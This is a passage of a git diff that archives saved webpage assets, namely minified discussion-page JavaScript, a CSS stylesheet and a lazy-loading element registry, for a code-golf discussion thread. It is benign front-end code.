Request(f,c);b.headers.append("X-Requested-With","XMLHttpRequest");const p=await self.fetch(b);if(p.status<200||p.status>=300)throw new Error(`HTTP ${p.status}${p.statusText||""}`);if(p.status===200)return p;if(p.status===202)return await new Promise(w=>setTimeout(w,u)),r(u*1.5);throw new Error(`Unexpected ${p.status} response status from poll endpoint`)},"poll")(i)}o(h,"fetchPoll")},55741:(T,E,a)=>{a.d(E,{M:()=>v,T:()=>h});var l=a(14840),d=a(56238);function v(g,R=!1){return h(g)||b(g,R)||M(g)||W(g)}o(v,"hasInteractions");function h(g){for(const R of g.querySelectorAll("input, textarea"))if((R instanceof HTMLInputElement||R instanceof HTMLTextAreaElement)&&f(R))return!0;return!1}o(h,"hasDirtyFields");function f(g){if(g instanceof HTMLInputElement&&(g.type==="checkbox"||g.type==="radio")){if(g.checked!==g.defaultChecked)return!0}else if(g.value!==g.defaultValue)return!0;return!1}o(f,"formFieldValueChanged");let c;async function i(g,R){c=g;try{await R()}finally{c=null}}o(i,"withActiveElement");function r(g){return c instanceof Element?c:g&&g.ownerDocument&&g.ownerDocument.activeElement?g.ownerDocument.activeElement:null}o(r,"getActiveElement");let u;document.addEventListener("mouseup",function(g){u=g.target});function b(g,R){const x=r(g);return x===null||R&&x===g?!1:x===g&&(0,d.sw)(x)||g.contains(x)&&!w(x)?!0:u instanceof Element&&g.contains(u)&&!!u.closest("details[open] > summary")}o(b,"hasFocus");const p="a[href], button";function w(g){var R;if(g instanceof l.Z)return!0;const x=g instanceof HTMLAnchorElement||g instanceof HTMLButtonElement,$=(R=g.parentElement)==null?void 0:R.classList.contains("task-list-item");if(x&&$)return!0;if(!(u instanceof Element))return!1;const I=g.closest(p);if(!I)return!1;const H=u.closest(p);return I===H}o(w,"activeElementIsSafe");function M(g){return g.matches(":active:enabled")}o(M,"hasMousedown");function W(g){return!!(g.closest(".is-dirty")||g.querySelector(".is-dirty"))}o(W,"markedAsDirty")},17463:(T,E,a)=>{a.d(E,{P:()=>l,t:()=>v});function l(h){const f=[...h.querySelectorAll("meta[name=html-safe-nonce]")].map(c=>c.content);if(f.length<1)throw new Error("could not find html-safe-nonce on document");return f}o(l,"getDocumentHtmlSafeNonces");class d extends Error{constructor(f,c){super(`${f} for HTTP ${c.status}`);this.response=c}}o(d,"ResponseError");function v(h,f,c=!1){const i=f.headers.get("content-type")||"";if(!c&&!i.startsWith("text/html"))throw new d(`expected response with text/html, but was ${i}`,f);if(c&&!(i.startsWith("text/html")||i.startsWith("application/json")))throw new d(`expected response with text/html or application/json, but was ${i}`,f);const r=f.headers.get("x-html-safe");if(r){if(!h.includes(r))throw new d("response X-HTML-Safe nonce did not match",f)}else throw new d("missing X-HTML-Safe nonce",f)}o(v,"verifyResponseHtmlSafeNonce")},45075:(T,E,a)=>{a.d(E,{ZG:()=>f,q6:()=>i,w4:()=>c});var l=a(8439);let d=!1;const v=new l.Z;function h(r){const u=r.target;if(u instanceof HTMLElement&&u.nodeType!==Node.DOCUMENT_NODE)for(const b of v.matches(u))b.data.call(null,u)}o(h,"handleFocus");function f(r,u){d||(d=!0,document.addEventListener("focus",h,!0)),v.add(r,u),document.activeElement instanceof HTMLElement&&document.activeElement.matches(r)&&u(document.activeElement)}o(f,"onFocus");function c(r,u,b){function p(w){const M=w.currentTarget;!M||(M.removeEventListener(r,b),M.removeEventListener("blur",p))}o(p,"blurHandler"),f(u,function(w){w.addEventListener(r,b),w.addEventListener("blur",p)})}o(c,"onKey");function i(r,u){function b(p){const{currentTarget:w}=p;!w||(w.removeEventListener("input",u),w.removeEventListener("blur",b))}o(b,"blurHandler"),f(r,function(p){p.addEventListener("input",u),p.addEventListener("blur",b)})}o(i,"onInput")},12981:(T,E,a)=>{a.d(E,{r:()=>l});function l(d,v){const h=d.createElement("template");return h.innerHTML=v,d.importNode(h.content,!0)}o(l,"parseHTML")},97474:(T,E,a)=>{a.d(E,{Z:()=>l});function l(d){var v,h;const f=(h=(v=d.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:h.content;if(!f)return!1;const c=f.replace(/\.$/,"").split(".").slice(-2).join("."),i=d.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return c!==i}o(l,"detectProxySite")},84818:(T,E,a)=>{a.d(E,{Z:()=>d});class l{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}o(l,"NoOpStorage");function d(v,h={throwQuotaErrorsOnSet:!1},f=window){let c;try{c=f[v]}catch{c=new l}const{throwQuotaErrorsOnSet:i}=h;function r(p){try{return c.getItem(p)}catch{return null}}o(r,"getItem");function u(p,w){try{c.setItem(p,w)}catch(M){if(i&&M.message.toLowerCase().includes("quota"))throw M}}o(u,"setItem");function b(p){try{c.removeItem(p)}catch{}}return o(b,"removeItem"),{getItem:r,setItem:u,removeItem:b}}o(d,"safeStorage")},24216:(T,E,a)=>{a.d(E,{LS:()=>v,cl:()=>h,rV:()=>d});var l=a(84818);const{getItem:d,setItem:v,removeItem:h}=(0,l.Z)("sessionStorage")},29946:(T,E,a)=>{a.d(E,{Ak:()=>W,F2:()=>D,F6:()=>I,FP:()=>w,LD:()=>p,OE:()=>b,Po:()=>u,QE:()=>h,Rl:()=>Z,Xk:()=>x,Ys:()=>$,aN:()=>X,wP:()=>H});var l=a(24216),d=a(47930),v=a(45922);const h=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",c="soft-navigation-referrer",i="soft-navigation-marker",r="reload";function u(){return(0,l.rV)(i)==="1"}o(u,"inSoftNavigation");function b(){return Boolean(g())}o(b,"hasSoftNavFailure");function p(){performance.mark(i),(0,l.LS)(i,"1"),(0,l.LS)(c,(0,d.S)()||window.location.href)}o(p,"startSoftNav");function w(){(0,l.LS)(i,"0")}o(w,"endSoftNav");function M(){(0,l.LS)(i,"0"),(0,l.cl)(c),(0,l.cl)(f)}o(M,"clearSoftNav");function W(G){(0,l.LS)(f,G||r)}o(W,"setSoftNavFailReason");function g(){return(0,l.rV)(f)}o(g,"getSoftNavFailReason");let R=0;function x(){R+=1,document.dispatchEvent(new CustomEvent(h.SUCCESS,{detail:R}))}o(x,"softNavSucceeded");function $(){const G=g()||r;document.dispatchEvent(new CustomEvent(h.ERROR,{detail:G})),R=0,M(),(0,v.b)({turboFailureReason:G})}o($,"softNavFailed");function I(){document.dispatchEvent(new CustomEvent(h.INITIAL)),R=0,M()}o(I,"softNavInitial");function H(){return(0,l.rV)(c)||document.referrer}o(H,"getSoftNavReferrer");function Z(){return performance.getEntriesByName(i).length===0?0:performance.measure(i,i).duration}o(Z,"getDurationSinceLastSoftNav");function X(){document.dispatchEvent(new Event(h.START))}o(X,"beginProgressBar");function D(){document.dispatchEvent(new Event(h.END))}o(D,"completeProgressBar")},45922:(T,E,a)=>{a.d(E,{b:()=>h});var l=a(97474),d=a(7739);let v=[];function h(u,b=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=r(),v.push(u),b?i():c()}o(h,"sendStats");let f=null;async function c(){await d.C,f==null&&(f=window.requestIdleCallback(i))}o(c,"scheduleSendStats");function i(){var u,b;if(f=null,!v.length||(0,l.Z)(document))return;const p=(b=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:b.content;if(!p)return;const w=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(p,w)}catch{}v=[]}o(i,"flushStats");function r(){var u,b;return!!((b=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:b.content)}o(r,"isLoggedIn"),document.addEventListener("pagehide",i),document.addEventListener("visibilitychange",i)}},T=>{var E=o(l=>T(T.s=l),"__webpack_exec__");T.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b","app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],()=>E(67105));var a=T.O()}]);})(); + +//# sourceMappingURL=discussions-94188b076c4b.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css new file mode 100644 index 0000000..da4d0c4 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css @@ -0,0 +1,3 @@ +.discussions-spotlight-wrapper:first-of-type{padding-left:0 !important}.discussion-spotlights-sortable .sortable-drag{padding:0 !important;background-color:transparent}.discussion-spotlight-modal{width:560px;overflow-y:auto}.discussion-spotlight-pattern-container{mix-blend-mode:soft-light;background-position:20px 20px;background-size:35px;opacity:.5}.discussion-spotlight-pattern-zap{background-image:url("/static/images/icons/spotlight/zap-pattern.svg")}.discussion-spotlight-pattern-chevron-up{background-image:url("/static/images/icons/spotlight/chevron-up-pattern.svg")}.discussion-spotlight-pattern-dot-fill{background-image:url("/static/images/icons/spotlight/dot-fill-pattern.svg")}.discussion-spotlight-pattern-dot{background-image:url("/static/images/icons/spotlight/dot-pattern.svg")}.discussion-spotlight-pattern-heart-fill{background-image:url("/static/images/icons/spotlight/heart-fill-pattern.svg")}.discussion-spotlight-pattern-plus{background-image:url("/static/images/icons/spotlight/plus-pattern.svg")}.discussion-spotlight{height:188px;flex:1 1 auto;overflow:hidden}.discussion-spotlight-preview{height:160px}.discussion-spotlight-gradient{width:35px;height:35px}.discussion-spotlight-gradient .discussion-spotlight-gradient-selected-indicator{display:none}.discussion-spotlight-gradient[aria-selected=true]{box-shadow:inset 0 1px 2px rgba(27,31,35,.075),0 0 0 .2em rgba(3,102,214,.3)}.discussion-spotlight-gradient[aria-selected=true] .discussion-spotlight-gradient-selected-indicator{display:inline-block}.discussion-spotlight-emoji{top:calc(35% - 35px);left:calc(50% - 48px);width:96px;height:96px;font-size:96px;text-shadow:0 3px 14px rgba(0,0,0,.3)}.discussion-spotlight-details{pointer-events:none}.discussion-spotlight-details>*{pointer-events:auto}.discussion-spotlight-handle{cursor:pointer;background:var(--color-primer-canvas-backdrop)}.discussion-feed-body pre{padding:16px;overflow-x:auto;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body code,.discussion-feed-body tt{padding:.2em .4em;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body ul{padding-left:32px;margin-bottom:16px}.discussion-feed-body ol{padding-left:32px;margin-bottom:16px;list-style-type:number}.discussion-feed-body h1,.discussion-feed-body h2,.discussion-feed-body h3{font-size:16px}.discussion-feed-body table{display:none}.timeline-comment.timeline-chosen-answer{border:2px solid var(--color-success-emphasis)}.sidebar-emoji-box{width:auto !important;height:auto !important}.discussions-timeline-scroll-target{width:100%;padding-top:60px;margin-top:-60px;pointer-events:none !important}.discussions-timeline-scroll-target>*{pointer-events:auto}.discussions-emoji-box{font-size:14px !important;line-height:14px !important;vertical-align:0 !important;cursor:default}@media(min-width: 768px){.discussions-emoji-box{font-size:16px !important;line-height:16px !important;vertical-align:0 !important}}.discussion-timeline-item::before{display:none}.discussion-primer-next-nested-comment-timeline-item::before{left:30px}.discussion-nested-comment-timeline-item::before{left:25px}@media(min-width: 544px){.discussion-nested-comment-timeline-item::before{left:30px}}.discussion-nested-comment-timeline-item:first-child::before{top:16px}.discussion-nested-comment-group{margin-left:32px}.discussion-nested-comment-paging-form::before{width:0;background-color:transparent}.discussion-nested-comment-paging-badge .octicon{fill:var(--color-border-muted);transform:rotate(90deg)}.discussion-nested-comment-paging-form-body{margin-left:24px}:target .discussion-nested-comment-group .timeline-comment{box-shadow:none !important}.discussion-nested-comment-timeline-item:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.inline-comment-form-container.open .discussion-nested-comment-inline-form .previewable-comment-form{display:block}.discussion-footer-answered-badge{padding:0 8px 0 4px !important;line-height:inherit}.discussion-footer-answer-icon{width:26px;height:26px}.discussion-footer-answer-button{padding:0 8px !important;line-height:inherit}.discussion-event-wrapper:last-child .discussion-event-timeline-item{padding-bottom:0 !important}.discussion-event-wrapper:last-child .discussion-event-timeline-item::before{display:none}.discussion-event-timeline-item::before{left:-6px}.is-comment-editing .discussion-comment .previewable-comment-form{display:none}.is-comment-editing .discussion-comment .timeline-comment-actions,.is-comment-editing .discussion-comment .edit-comment-hide{display:block}.discussion-comment .previewable-edit.is-comment-editing .timeline-comment-header{display:flex !important}.errored .discussion-category-picker{border-color:var(--color-danger-emphasis)}.discussion-annoucement-badge{background-color:var(--color-neutral-muted)}.discussion-Link--secondary:visited{color:var(--color-fg-subtle) !important}.disabled-category-form{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.bg-discussions-row-emoji-box{width:42px !important;height:42px !important;background:var(--color-bg-discussions-row-emoji-box)}.bg-discussions-row-emoji-box-small{width:30px !important;height:30px !important;background:var(--color-bg-discussions-row-emoji-box)}:target .nested-discussion-timeline-comment{box-shadow:none !important}.nested-discussion-timeline-comment .markdown-body pre{background-color:var(--color-neutral-muted)}.comment-body div[type=discussions-op-text]{padding:8px;border:1px solid var(--color-border-muted) !important;border-radius:6px}.comment-body div[type=discussions-op-text] p{margin-bottom:0}.discussion-vote-form .slidey-boi{transition:.4s ease-in-out;transform:perspective(1px) translateY(0%)}.discussion-vote-form.is-upvoted .slidey-boi{transform:perspective(1px) translateY(-50%)} + +/*# sourceMappingURL=discussions-2d691bda776c.css.map*/ \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js new file mode 100644 index 0000000..1c7c278 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var u=Object.defineProperty;var m=(l,a)=>u(l,"name",{value:a,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["element-registry"],{92333:(l,a,s)=>{const d=new Map,v=new Promise(n=>{document.readyState==="interactive"||document.readyState==="complete"?n():document.addEventListener("DOMContentLoaded",()=>n(),{once:!0})}),j=new Promise(n=>{const o=m(()=>{n(),document.removeEventListener("click",o),document.removeEventListener("touchstart",o),document.removeEventListener("keydown",o)},"handler");document.addEventListener("click",o),document.addEventListener("touchstart",o,{passive:!0}),document.addEventListener("keydown",o)}),i={ready:v,firstInteraction:j},h=new WeakMap;function g(n=document.body){cancelAnimationFrame(h.get(n)||0),h.set(n,requestAnimationFrame(()=>{for(const o of d.keys()){const e=n.matches(o)?n:n.querySelector(o);if(customElements.get(o)||e){const c=(e==null?void 0:e.getAttribute("data-load-on"))||"ready",p=c in i?i[c]:i.ready;for(const x of d.get(o)||[])p.then(x);d.delete(o),h.delete(n)}}}))}m(g,"scan"),new MutationObserver(n=>{if(!!d.size)for(const o of n)for(const e of o.addedNodes)e instanceof Element&&g(e)}).observe(document,{subtree:!0,childList:!0});let f=!0;function t(n,o){d.has(n)||d.set(n,[]),d.get(n).push(o),f&&g(document.body),f=!1}m(t,"whenSeen"),t("animated-image",()=>s.e("app_components_accessibility_animated-image-element_ts").then(s.bind(s,1711))),t("launch-code",()=>s.e("app_components_account_verifications_launch-code-element_ts").then(s.bind(s,33954))),t("metric-selection",()=>s.e("app_components_advisories_metric-selection-element_ts").then(s.bind(s,63887))),t("severity-calculator",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_components_advisories_severity-calculator-element_ts")]).then(s.bind(s,606))),t("create-branch",()=>Promise.all([s.e("vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"),s.e("app_components_branch_create-branch-element_ts")]).then(s.bind(s,78928))),t("alert-dismissal-details",()=>s.e("app_components_code_scanning_alert-dismissal-details-element_ts").then(s.bind(s,32445))),t("sku-list",()=>s.e("app_components_codespaces_advanced_options_sku-list-element_ts").then(s.bind(s,14067))),t("create-button",()=>s.e("app_components_codespaces_create-button-element_ts").then(s.bind(s,1834))),t("command-palette-page",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-element_ts")]).then(s.bind(s,33094))),t("command-palette-page-stack",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-stack-element_ts")]).then(s.bind(s,9222))),t("deferred-diff-lines",()=>s.e("app_components_diffs_deferred-diff-lines-element_ts").then(s.bind(s,51598))),t("readme-toc",()=>s.e("app_components_files_readme-toc-element_ts").then(s.bind(s,11423))),t("delayed-loading",()=>s.e("app_components_github_delayed-loading-element_ts").then(s.bind(s,58525))),t("feature-callout",()=>s.e("app_components_github_feature-callout-element_ts").then(s.bind(s,89434))),t("reopen-button",()=>s.e("app_components_issues_reopen-button-element_ts").then(s.bind(s,67195))),t("math-renderer",()=>Promise.all([s.e("vendors-node_modules_lit-html_lit-html_js"),s.e("app_components_mathjax_math-renderer-element_ts")]).then(s.bind(s,24561))),t("max-value",()=>s.e("app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts").then(s.bind(s,43893))),t("codespaces-policy-form",()=>s.e("app_components_organizations_settings_codespaces-policy-form-element_ts").then(s.bind(s,97718))),t("insights-form",()=>s.e("app_components_organizations_settings_features_insights-form-element_ts").then(s.bind(s,17764))),t("action-list",()=>Promise.all([s.e("vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"),s.e("app_components_primer_action_list_action-list-element_ts")]).then(s.bind(s,51126))),t("action-menu",()=>s.e("app_components_primer_action_menu_action-menu-element_ts").then(s.bind(s,59086))),t("toggle-switch",()=>s.e("app_components_primer_experimental_toggle-switch-element_ts").then(s.bind(s,15004))),t("iterate-focusable-elements.ts",()=>s.e("app_components_primer_modal_dialog_iterate-focusable-elements_ts").then(s.bind(s,23349))),t("modal-dialog",()=>s.e("app_components_primer_modal_dialog_modal-dialog-element_ts").then(s.bind(s,27257))),t("file-filter",()=>s.e("app_components_pull_requests_file_tree_file-filter-element_ts").then(s.bind(s,44846))),t("file-tree",()=>s.e("app_components_pull_requests_file_tree_file-tree-element_ts").then(s.bind(s,62978))),t("file-tree-toggle",()=>s.e("app_components_pull_requests_file_tree_file-tree-toggle-element_ts").then(s.bind(s,93559))),t("dependabot-alert-row",()=>s.e("app_components_repos_alerts_dependabot-alert-row-element_ts").then(s.bind(s,76257))),t("dependabot-alert-table-header",()=>s.e("app_components_repos_alerts_dependabot-alert-table-header-element_ts").then(s.bind(s,47691))),t("memex-project-picker",()=>s.e("app_components_repositories_memex_memex-project-picker-element_ts").then(s.bind(s,88018))),t("pin-organization-repo",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_components_repositories_pin-organization-repo-element_ts")]).then(s.bind(s,77028))),t("common.ts",()=>s.e("app_components_search_parsing_common_ts").then(s.bind(s,97597))),t("parsing.ts",()=>Promise.all([s.e("vendors-node_modules_github_blackbird-parser_dist_blackbird_js"),s.e("app_components_search_parsing_parsing_ts-_b3651")]).then(s.bind(s,23209))),t("search-input",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("app_components_search_search-input-element_ts")]).then(s.bind(s,17804))),t("blackbird.ts",()=>s.e("app_components_search_suggestions_blackbird_ts").then(s.bind(s,52048))),t("custom-scopes.ts",()=>s.e("app_components_search_suggestions_custom-scopes_ts").then(s.bind(s,77717))),t("default.ts",()=>s.e("app_components_search_suggestions_default_ts").then(s.bind(s,63951))),t("fixed-qualifiers.ts",()=>s.e("app_components_search_suggestions_fixed-qualifiers_ts").then(s.bind(s,82721))),t("history.ts",()=>s.e("app_components_search_suggestions_history_ts").then(s.bind(s,86909))),t("languages.ts",()=>s.e("app_components_search_suggestions_languages_ts").then(s.bind(s,47512))),t("repos.ts",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("node_modules_delegated-events_dist_index_js")]).then(s.bind(s,4022))),t("suggestions.ts",()=>s.e("app_components_search_suggestions_suggestions_ts").then(s.bind(s,47378))),t("types.ts",()=>s.e("app_components_search_suggestions_types_ts").then(s.bind(s,76286))),t("project-picker",()=>Promise.all([s.e("vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_components_sidebar_project-picker-element_ts")]).then(s.bind(s,88175))),t("slash-command-toolbar-button",()=>s.e("app_components_slash_commands_slash-command-toolbar-button-element_ts").then(s.bind(s,83326))),t("monthly-spend-graph",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts")]).then(s.bind(s,14676))),t("turbo-staffbar",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-element_ts").then(s.bind(s,2079))),t("turbo-staffbar-preview",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-preview-element_ts").then(s.bind(s,23566))),t("themed-picture",()=>s.e("app_components_themed_pictures_themed-picture-element_ts").then(s.bind(s,73422))),t("tracking-block-api.ts",()=>s.e("app_components_tracking_blocks_tracking-block-api_ts").then(s.bind(s,28825))),t("tracking-block",()=>Promise.all([s.e("app_components_tracking_blocks_tracking-block-api_ts"),s.e("app_components_tracking_blocks_tracking-block-element_ts")]).then(s.bind(s,38373))),t("tracking-block-omnibar",()=>s.e("app_components_tracking_blocks_tracking-block-omnibar-element_ts").then(s.bind(s,76829))),t("profile-pins",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_profile_profile-pins-element_ts")]).then(s.bind(s,9473))),t("emoji-picker",()=>s.e("app_assets_modules_github_emoji-picker-element_ts").then(s.bind(s,62993))),t("edit-hook-secret",()=>s.e("app_assets_modules_github_behaviors_edit-hook-secret-element_ts").then(s.bind(s,1665))),t("insights-query",()=>s.e("app_assets_modules_github_insights_insights-query_ts").then(s.bind(s,31417))),t("remote-clipboard-copy",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_assets_modules_github_behaviors_remote-clipboard-copy_ts")]).then(s.bind(s,53287))),t("series-table",()=>s.e("app_assets_modules_github_insights_series-table_ts").then(s.bind(s,82100))),t("line-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_line-chart_ts")]).then(s.bind(s,75689))),t("bar-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_bar-chart_ts")]).then(s.bind(s,83515))),t("column-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_column-chart_ts")]).then(s.bind(s,86564))),t("stacked-area-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_stacked-area-chart_ts")]).then(s.bind(s,96514))),t("presence-avatars",()=>s.e("app_assets_modules_github_presence_presence-avatars_ts").then(s.bind(s,33096))),t("pulse-authors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_pulse-authors-graph-element_ts")]).then(s.bind(s,97724))),t("stacks-input-config-view",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_stacks_stacks-input-config-view_ts")]).then(s.bind(s,97818))),t("community-contributions-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_community-contributions_ts")]).then(s.bind(s,14008))),t("discussion-page-views-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussion-page-views_ts")]).then(s.bind(s,16427))),t("discussions-daily-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-daily-contributors_ts")]).then(s.bind(s,69142))),t("discussions-new-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-new-contributors_ts")]).then(s.bind(s,72895))),t("code-frequency-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_graphs_code-frequency-graph-element_ts")]).then(s.bind(s,29728))),t("contributors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158"),s.e("app_assets_modules_github_graphs_contributors-graph-element_ts")]).then(s.bind(s,56194))),t("org-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834"),s.e("app_assets_modules_github_graphs_org-insights-graph-element_ts")]).then(s.bind(s,79429))),t("traffic-clones-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-clones-graph-element_ts")]).then(s.bind(s,69549))),t("traffic-visitors-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-visitors-graph-element_ts")]).then(s.bind(s,5932))),t("commit-activity-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_m